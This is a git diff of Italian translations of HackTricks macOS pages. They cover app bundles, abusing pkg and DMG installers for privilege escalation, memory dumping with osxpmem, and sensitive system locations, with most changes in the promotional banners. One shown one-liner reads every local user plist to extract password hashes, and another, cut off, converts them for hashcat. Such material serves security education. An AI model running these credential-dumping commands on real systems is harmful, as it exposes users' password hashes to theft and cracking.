* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
I bundle in macOS fungono da contenitori per una varietà di risorse, tra cui applicazioni, librerie e altri file necessari, facendoli apparire come singoli oggetti in Finder, come i familiari file `*.app`. Il bundle più comunemente incontrato è il bundle `.app`, anche se altri tipi come `.framework`, `.systemextension` e `.kext` sono anche diffusi. I bundle in macOS fungono da contenitori per una varietà di risorse, tra cui applicazioni, librerie e altri file necessari, facendoli apparire come oggetti singoli in Finder, come i familiari file `*.app`. Il bundle più comunemente incontrato è il bundle `.app`, anche se altri tipi come `.framework`, `.systemextension` e `.kext` sono anche diffusi.
### Componenti Essenziali di un Bundle ### Componenti Essenziali di un Bundle
@ -24,7 +25,7 @@ All'interno di un bundle, in particolare all'interno della directory `<applicazi
* **\_CodeSignature**: Questa directory memorizza dettagli di firma del codice vitali per verificare l'integrità dell'applicazione. È possibile ispezionare le informazioni sulla firma del codice utilizzando comandi come: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%% * **\_CodeSignature**: Questa directory memorizza dettagli di firma del codice vitali per verificare l'integrità dell'applicazione. È possibile ispezionare le informazioni sulla firma del codice utilizzando comandi come: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
* **MacOS**: Contiene il binario eseguibile dell'applicazione che viene eseguito all'interazione dell'utente. * **MacOS**: Contiene il binario eseguibile dell'applicazione che viene eseguito all'interazione dell'utente.
* **Resources**: Un repository per i componenti dell'interfaccia utente dell'applicazione, tra cui immagini, documenti e descrizioni dell'interfaccia (file nib/xib). * **Resources**: Un repository per i componenti dell'interfaccia utente dell'applicazione, inclusi immagini, documenti e descrizioni dell'interfaccia (file nib/xib).
* **Info.plist**: Agisce come file di configurazione principale dell'applicazione, cruciale affinché il sistema riconosca e interagisca con l'applicazione in modo appropriato. * **Info.plist**: Agisce come file di configurazione principale dell'applicazione, cruciale affinché il sistema riconosca e interagisca con l'applicazione in modo appropriato.
#### Chiavi Importanti in Info.plist #### Chiavi Importanti in Info.plist
@ -35,34 +36,35 @@ Il file `Info.plist` è un pilastro per la configurazione dell'applicazione, con
* **CFBundleIdentifier**: Fornisce un identificatore globale per l'applicazione, ampiamente utilizzato da macOS per la gestione delle applicazioni. * **CFBundleIdentifier**: Fornisce un identificatore globale per l'applicazione, ampiamente utilizzato da macOS per la gestione delle applicazioni.
* **LSMinimumSystemVersion**: Indica la versione minima di macOS richiesta affinché l'applicazione possa essere eseguita. * **LSMinimumSystemVersion**: Indica la versione minima di macOS richiesta affinché l'applicazione possa essere eseguita.
### Esplorare i Bundle ### Esplorazione dei Bundle
Per esplorare i contenuti di un bundle, come `Safari.app`, è possibile utilizzare il seguente comando: `bash ls -lR /Applications/Safari.app/Contents` Per esplorare i contenuti di un bundle, come `Safari.app`, può essere utilizzato il seguente comando: `bash ls -lR /Applications/Safari.app/Contents`
Questa esplorazione rivela directory come `_CodeSignature`, `MacOS`, `Resources` e file come `Info.plist`, ognuno con uno scopo unico, dalla sicurezza dell'applicazione alla definizione dell'interfaccia utente e dei parametri operativi. Questa esplorazione rivela directory come `_CodeSignature`, `MacOS`, `Resources`, e file come `Info.plist`, ognuno con uno scopo unico, dalla sicurezza dell'applicazione alla definizione dell'interfaccia utente e dei parametri operativi.
#### Directory Aggiuntive del Bundle #### Directory Aggiuntive dei Bundle
Oltre alle directory comuni, i bundle possono includere anche: Oltre alle directory comuni, i bundle possono includere anche:
* **Frameworks**: Contiene framework inclusi nell'applicazione. I framework sono come dylibs con risorse aggiuntive. * **Frameworks**: Contiene framework inclusi nell'applicazione. I framework sono come dylib con risorse aggiuntive.
* **PlugIns**: Una directory per plug-in ed estensioni che migliorano le capacità dell'applicazione. * **PlugIns**: Una directory per plug-in ed estensioni che migliorano le capacità dell'applicazione.
* **XPCServices**: Contiene servizi XPC utilizzati dall'applicazione per la comunicazione out-of-process. * **XPCServices**: Contiene servizi XPC utilizzati dall'applicazione per la comunicazione out-of-process.
Questa struttura garantisce che tutti i componenti necessari siano racchiusi nel bundle, facilitando un ambiente di applicazione modulare e sicuro. Questa struttura garantisce che tutti i componenti necessari siano racchiusi nel bundle, facilitando un ambiente di applicazione modulare e sicuro.
Per informazioni più dettagliate sulle chiavi di `Info.plist` e i loro significati, la documentazione degli sviluppatori Apple fornisce risorse estese: [Riferimento Chiave Info.plist Apple](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html). Per informazioni più dettagliate sulle chiavi di `Info.plist` e i loro significati, la documentazione per sviluppatori di Apple fornisce risorse estese: [Riferimento alle Chiavi di Info.plist di Apple](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).
{% hint style="success" %}
Impara e pratica l'hacking di AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking di GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di GitHub.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Abuso degli Installatori macOS # Abuso degli Installatori macOS
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Informazioni di Base su Pkg ## Informazioni di Base sui Pkg
Un **pacchetto di installazione macOS** (noto anche come file `.pkg`) è un formato di file utilizzato da macOS per **distribuire software**. Questi file sono come una **scatola che contiene tutto ciò di cui un software** ha bisogno per installarsi ed eseguirsi correttamente. Un **pacchetto di installazione macOS** (noto anche come file `.pkg`) è un formato di file utilizzato da macOS per **distribuire software**. Questi file sono come una **scatola che contiene tutto ciò di cui un software** ha bisogno per installarsi ed eseguirsi correttamente.
Il file del pacchetto stesso è un archivio che contiene una **gerarchia di file e directory che verranno installati sul computer di destinazione**. Può anche includere **script** per eseguire attività prima e dopo l'installazione, come configurare file di configurazione o pulire vecchie versioni del software. Il file del pacchetto stesso è un archivio che contiene una **gerarchia di file e directory che verranno installati sul computer di destinazione**. Può anche includere **script** per eseguire attività prima e dopo l'installazione, come la configurazione dei file di configurazione o la pulizia delle vecchie versioni del software.
### Gerarchia ### Gerarchia
@ -46,12 +47,12 @@ cpio -i < Scripts
``` ```
Per visualizzare i contenuti dell'installer senza decomprimerlo manualmente, è possibile utilizzare il tool gratuito [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/). Per visualizzare i contenuti dell'installer senza decomprimerlo manualmente, è possibile utilizzare il tool gratuito [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
## Informazioni di Base sui DMG ## Informazioni di Base sui File DMG
I file DMG, o Apple Disk Images, sono un formato di file utilizzato da macOS di Apple per le immagini disco. Un file DMG è essenzialmente un **immagine disco montabile** (contiene il proprio filesystem) che contiene dati di blocco grezzi tipicamente compressi e talvolta criptati. Quando apri un file DMG, macOS lo **monta come se fosse un disco fisico**, consentendoti di accedere ai suoi contenuti. I file DMG, o Apple Disk Images, sono un formato di file utilizzato da macOS di Apple per le immagini disco. Un file DMG è essenzialmente un **immagine disco montabile** (contiene il proprio filesystem) che contiene dati di blocco grezzi tipicamente compressi e talvolta criptati. Quando apri un file DMG, macOS lo **monta come se fosse un disco fisico**, consentendoti di accedere ai suoi contenuti.
{% hint style="danger" %} {% hint style="danger" %}
Nota che gli installer **`.dmg`** supportano **così tanti formati** che in passato alcuni di essi contenenti vulnerabilità sono stati abusati per ottenere **esecuzione di codice kernel**. Nota che gli installer in formato **`.dmg`** supportano **così tanti formati** che in passato alcuni di essi contenenti vulnerabilità sono stati abusati per ottenere **esecuzione di codice kernel**.
{% endhint %} {% endhint %}
### Gerarchia ### Gerarchia
@ -60,9 +61,9 @@ Nota che gli installer **`.dmg`** supportano **così tanti formati** che in pass
La gerarchia di un file DMG può essere diversa in base al contenuto. Tuttavia, per i DMG delle applicazioni, di solito segue questa struttura: La gerarchia di un file DMG può essere diversa in base al contenuto. Tuttavia, per i DMG delle applicazioni, di solito segue questa struttura:
- Livello Superiore: Questo è la radice dell'immagine disco. Contiene spesso l'applicazione e eventualmente un collegamento alla cartella Applicazioni. * Livello Superiore: Questo è la radice dell'immagine disco. Contiene spesso l'applicazione e eventualmente un collegamento alla cartella Applicazioni.
- Applicazione (.app): Questa è l'applicazione effettiva. In macOS, un'applicazione è tipicamente un pacchetto che contiene molti file e cartelle individuali che compongono l'applicazione. * Applicazione (.app): Questa è l'applicazione effettiva. In macOS, un'applicazione è tipicamente un pacchetto che contiene molti file e cartelle individuali che compongono l'applicazione.
- Collegamento alle Applicazioni: Questo è un collegamento rapido alla cartella Applicazioni in macOS. Lo scopo di questo è rendere facile l'installazione dell'applicazione. Puoi trascinare il file .app su questo collegamento per installare l'app. * Collegamento alle Applicazioni: Questo è un collegamento rapido alla cartella Applicazioni in macOS. Lo scopo di questo è rendere facile l'installazione dell'applicazione. Puoi trascinare il file .app su questo collegamento per installare l'app.
## Privesc tramite abuso di pkg ## Privesc tramite abuso di pkg
@ -74,7 +75,7 @@ Se uno script di pre o post installazione ad esempio viene eseguito da **`/var/t
### AuthorizationExecuteWithPrivileges ### AuthorizationExecuteWithPrivileges
Questa è una [funzione pubblica](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) che diversi installer e aggiornatori chiameranno per **eseguire qualcosa come root**. Questa funzione accetta il **percorso** del **file** da **eseguire** come parametro, tuttavia, se un attaccante potesse **modificare** questo file, sarà in grado di **abusare** della sua esecuzione con privilegi di root per **escalare i privilegi**. Si tratta di una [funzione pubblica](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) che diversi installer e aggiornatori chiameranno per **eseguire qualcosa come root**. Questa funzione accetta il **percorso** del **file** da **eseguire** come parametro, tuttavia, se un attaccante potesse **modificare** questo file, sarà in grado di **abusarne** l'esecuzione con privilegi di root per **escalare i privilegi**.
```bash ```bash
# Breakpoint in the function to check wich file is loaded # Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges (lldb) b AuthorizationExecuteWithPrivileges
@ -84,7 +85,7 @@ Questa è una [funzione pubblica](https://developer.apple.com/documentation/secu
Se un programma di installazione scrive in `/tmp/fixedname/bla/bla`, è possibile **creare un mount** su `/tmp/fixedname` senza proprietari in modo da poter **modificare qualsiasi file durante l'installazione** per abusare del processo di installazione. Se un programma di installazione scrive in `/tmp/fixedname/bla/bla`, è possibile **creare un mount** su `/tmp/fixedname` senza proprietari in modo da poter **modificare qualsiasi file durante l'installazione** per abusare del processo di installazione.
Un esempio di ciò è **CVE-2021-26089** che è riuscito a **sovrascrivere uno script periodico** per ottenere l'esecuzione come root. Per ulteriori informazioni, guarda il talk: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) Un esempio di ciò è **CVE-2021-26089** che è riuscito a **sovrascrivere uno script periodico** per ottenere l'esecuzione come root. Per ulteriori informazioni guarda il talk: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
## pkg come malware ## pkg come malware

View file

@ -1,18 +1,19 @@
# Dumping della memoria di macOS # Dumping della memoria di macOS
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
@ -20,7 +21,7 @@ Altri modi per supportare HackTricks:
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**. [**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
Il loro obiettivo principale è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni. Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su: Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
@ -28,29 +29,29 @@ Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
*** ***
## Artefatti di memoria ## Artefatti di Memoria
### File di swap ### File di Swap
I file di swap, come `/private/var/vm/swapfile0`, fungono da **cache quando la memoria fisica è piena**. Quando non c'è più spazio nella memoria fisica, i dati vengono trasferiti in un file di swap e poi riportati nella memoria fisica secondo necessità. Potrebbero essere presenti più file di swap, con nomi come swapfile0, swapfile1, e così via. I file di swap, come `/private/var/vm/swapfile0`, fungono da **cache quando la memoria fisica è piena**. Quando non c'è più spazio nella memoria fisica, i dati vengono trasferiti in un file di swap e poi riportati nella memoria fisica secondo necessità. Potrebbero essere presenti più file di swap, con nomi come swapfile0, swapfile1, e così via.
### Immagine di ibernazione ### Immagine di Ibernazione
Il file situato in `/private/var/vm/sleepimage` è cruciale durante la **modalità di ibernazione**. **I dati dalla memoria vengono memorizzati in questo file quando macOS va in ibernazione**. Al risveglio del computer, il sistema recupera i dati di memoria da questo file, consentendo all'utente di continuare da dove aveva lasciato. Il file situato in `/private/var/vm/sleepimage` è cruciale durante la **modalità di ibernazione**. **I dati dalla memoria vengono memorizzati in questo file quando macOS va in ibernazione**. Al risveglio del computer, il sistema recupera i dati dalla memoria da questo file, consentendo all'utente di continuare da dove aveva lasciato.
È importante notare che su sistemi MacOS moderni, questo file è tipicamente crittografato per motivi di sicurezza, rendendo difficile il recupero. È importante notare che su sistemi MacOS moderni, questo file è tipicamente crittografato per motivi di sicurezza, rendendo difficile il recupero.
* Per verificare se la crittografia è abilitata per il sleepimage, è possibile eseguire il comando `sysctl vm.swapusage`. Questo mostrerà se il file è crittografato. * Per verificare se la crittografia è abilitata per il sleepimage, è possibile eseguire il comando `sysctl vm.swapusage`. Questo mostrerà se il file è crittografato.
### Log della pressione di memoria ### Log della Pressione di Memoria
Un altro file importante relativo alla memoria nei sistemi MacOS è il **log della pressione di memoria**. Questi log si trovano in `/var/log` e contengono informazioni dettagliate sull'utilizzo della memoria del sistema e sugli eventi di pressione. Possono essere particolarmente utili per diagnosticare problemi legati alla memoria o per capire come il sistema gestisce la memoria nel tempo. Un altro file importante relativo alla memoria nei sistemi MacOS è il **log della pressione di memoria**. Questi log si trovano in `/var/log` e contengono informazioni dettagliate sull'utilizzo della memoria del sistema e sugli eventi di pressione. Possono essere particolarmente utili per diagnosticare problemi legati alla memoria o per capire come il sistema gestisce la memoria nel tempo.
## Dump della memoria con osxpmem ## Dump della memoria con osxpmem
Per eseguire il dump della memoria in una macchina MacOS puoi utilizzare [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip). Per eseguire il dump della memoria in una macchina MacOS, puoi utilizzare [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
**Nota**: Le istruzioni seguenti funzioneranno solo per i Mac con architettura Intel. Questo strumento è ora archiviato e l'ultima versione risale al 2017. Il binario scaricato seguendo le istruzioni di seguito si rivolge ai chip Intel poiché Apple Silicon non era presente nel 2017. Potrebbe essere possibile compilare il binario per l'architettura arm64, ma dovrai provare da solo. **Nota**: Le seguenti istruzioni funzioneranno solo per i Mac con architettura Intel. Questo strumento è ora archiviato e l'ultima versione risale al 2017. Il binario scaricato seguendo le istruzioni di seguito si rivolge ai chip Intel poiché Apple Silicon non era disponibile nel 2017. Potrebbe essere possibile compilare il binario per l'architettura arm64, ma dovrai provare da solo.
```bash ```bash
#Dump raw format #Dump raw format
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
@ -58,7 +59,7 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
#Dump aff4 format #Dump aff4 format
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4 sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
``` ```
Se trovi questo errore: `osxpmem.app/MacPmem.kext non è riuscito a caricare - (libkern/kext) autenticazione fallita (proprietà/permessi del file); controlla i log di sistema/kernel per gli errori o prova kextutil(8)` Puoi risolverlo facendo: Se trovi questo errore: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Puoi risolverlo facendo:
```bash ```bash
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/" sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
sudo kextutil "/tmp/MacPmem.kext" sudo kextutil "/tmp/MacPmem.kext"
@ -88,16 +89,17 @@ Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,27 +1,26 @@
# Posizioni Sensibili di macOS e Daemon Interessanti # Posizioni Sensibili di macOS e Daemon Interessanti
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Passwords ## Passwords
### Password Ombra ### Password Ombra
La password ombra è memorizzata insieme alla configurazione dell'utente in plists situati in **`/var/db/dslocal/nodes/Default/users/`**.\ La password ombra è memorizzata insieme alla configurazione dell'utente in plists situati in **`/var/db/dslocal/nodes/Default/users/`**.\
Il seguente oneliner può essere utilizzato per estrarre **tutte le informazioni sugli utenti** (incluso l'hash): Il seguente oneliner può essere utilizzato per scaricare **tutte le informazioni sugli utenti** (incluso l'hash):
{% code overflow="wrap" %}
```bash ```bash
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
``` ```
@ -29,17 +28,15 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"
[**Script come questo**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**questo**](https://github.com/octomagon/davegrohl.git) può essere utilizzato per trasformare l'hash nel **formato hashcat**. [**Script come questo**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**questo**](https://github.com/octomagon/davegrohl.git) può essere utilizzato per trasformare l'hash nel **formato hashcat**.
Un'alternativa one-liner che dumpa le credenziali di tutti gli account non di servizio nel formato hashcat `-m 7100` (macOS PBKDF2-SHA512): Un'alternativa one-liner che scaricherà le credenziali di tutti gli account non di servizio nel formato hashcat `-m 7100` (macOS PBKDF2-SHA512):
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
